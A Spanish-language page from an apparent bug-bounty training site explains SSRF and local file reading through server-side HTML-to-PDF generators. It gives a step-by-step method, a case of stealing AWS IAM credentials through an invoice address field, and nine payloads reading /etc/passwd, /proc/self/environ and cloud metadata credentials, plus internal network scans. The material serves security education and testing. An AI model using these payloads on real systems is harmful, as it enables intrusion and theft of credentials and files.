Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →HTML to PDF
SSRF y LFI vía generadores de PDF server-side
Respuesta rápida
¿Qué es HTML to PDF?
Las aplicaciones que generan PDFs desde HTML usan motores como wkhtmltopdf, Puppeteer o WeasyPrint que actúan como browsers internos. Esto abre vectores de SSRF, LFI y lectura de archivos internos.
Severidad
Alto
Frecuencia
Común
Payloads
9
Pasos
6
Severidad
Alto
Frecuencia
Común
Payloads
9
Cuando una app convierte HTML a PDF (facturas, reportes, exports), el motor renderiza HTML y hace fetch de recursos externos. Si el contenido HTML viene del usuario (campos de formulario, nombres, direcciones), se pueden inyectar iframes y links que el motor seguirá.
Dónde buscar
Export de facturas/recibos
La funcionalidad más común. Los campos del usuario (nombre, dirección) se insertan en el HTML del PDF.
Generación de reportes
Dashboards con 'Download as PDF'. El contenido del dashboard se renderiza en HTML.
Contratos y acuerdos
Generación de documentos legales con datos del usuario insertados.
Funcionalidad de impresión
Botones de 'Print' que generan una versión PDF de la página actual.
Metodología
Identificar generación de PDF
Busca botones de 'Download PDF', 'Export', 'Print'. Intercepta el request y analiza si envía HTML.
Inyectar HTML
En campos que aparecen en el PDF (nombre, dirección, descripción), inyecta: <iframe src='http://127.0.0.1'>
Probar file://
Inyecta <iframe src='file:///etc/passwd'>. Si el PDF muestra el contenido, tienes LFI.
Probar SSRF a metadatos cloud
<iframe src='http://169.254.169.254/latest/meta-data/'> para leer credenciales AWS.
Identificar el motor
Revisa los metadatos del PDF (exiftool). wkhtmltopdf, Puppeteer, PhantomJS tienen comportamientos diferentes.
Escalar
De LFI: leer .env, database config, claves privadas. De SSRF: credenciales IAM → acceso a infraestructura cloud.
Caso real
SSRF vía factura PDF → Credenciales AWS IAM
Inyectar en campo de dirección
El campo 'billing address' aparece en la factura PDF. Se inyecta un iframe con src a los metadatos de AWS.
HTML entities bypass
El campo se escapa en el frontend (<), pero el generador de PDF decodifica las entities al renderizar HTML.
PDF con metadatos AWS
El PDF generado contiene los metadatos de la instancia EC2: IAM role, security credentials temporales.
Acceso a AWS
Con las credenciales IAM temporales, acceso a S3 buckets, RDS databases y otros servicios.
Lección: Los generadores de PDF son browsers internos sin restricciones de Same-Origin. Cualquier campo que aparezca en un PDF es un vector potencial de SSRF/LFI.
Payloads
LFI — /etc/passwd
<iframe src="file:///etc/passwd" width="800" height="500"></iframe>
SSRF — localhost
<img src="http://127.0.0.1:8080/">
SSRF — AWS metadata
<iframe src="http://169.254.169.254/latest/meta-data/">
CSS import SSRF
<link rel="stylesheet" href="http://internal-server:3000/">
Payloads avanzados(requiere cuenta)
AWS IAM credentials
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="800" height="500">
Proc environ
<iframe src="file:///proc/self/environ">
Internal network scan
<img src="http://10.0.0.1:8443/admin"><img src="http://10.0.0.1:9200/"><img src="http://10.0.0.1:6379/">
Windows files
<iframe src="file:///C:/Windows/win.ini"><iframe src="file:///C:/Windows/System32/drivers/etc/hosts">
JavaScript exfil
<script>x=new XMLHttpRequest;x.open("GET","file:///etc/passwd");x.send();x.onload=function(){document.write(x.responseText)}</script>Contenido exclusivo
Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass
Crear cuenta gratisHerramientas
exiftool
Identifica el motor de PDF (wkhtmltopdf, Puppeteer, WeasyPrint) en los metadatos.
exiftool document.pdf | grep -i producer
Burp Collaborator
Confirma SSRF outbound desde el generador de PDF.
Inyectar <img src='http://COLLABORATOR_URL'> en campos del PDF
Tips
Los campos de dirección son el mejor vector
Nombre, dirección de facturación, descripción de producto — cualquier campo que aparezca en el PDF.
HTML entities se decodifican
El campo se escapa en el frontend pero el motor de PDF decodifica < → < al renderizar.
wkhtmltopdf permite file://
wkhtmltopdf es el motor más permisivo. Permite file://, JavaScript, y requests a cualquier host.
Puppeteer más restrictivo
Puppeteer bloquea file:// por defecto, pero no SSRF a localhost o metadatos cloud.
Practica HTML to PDF con labs reales
Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.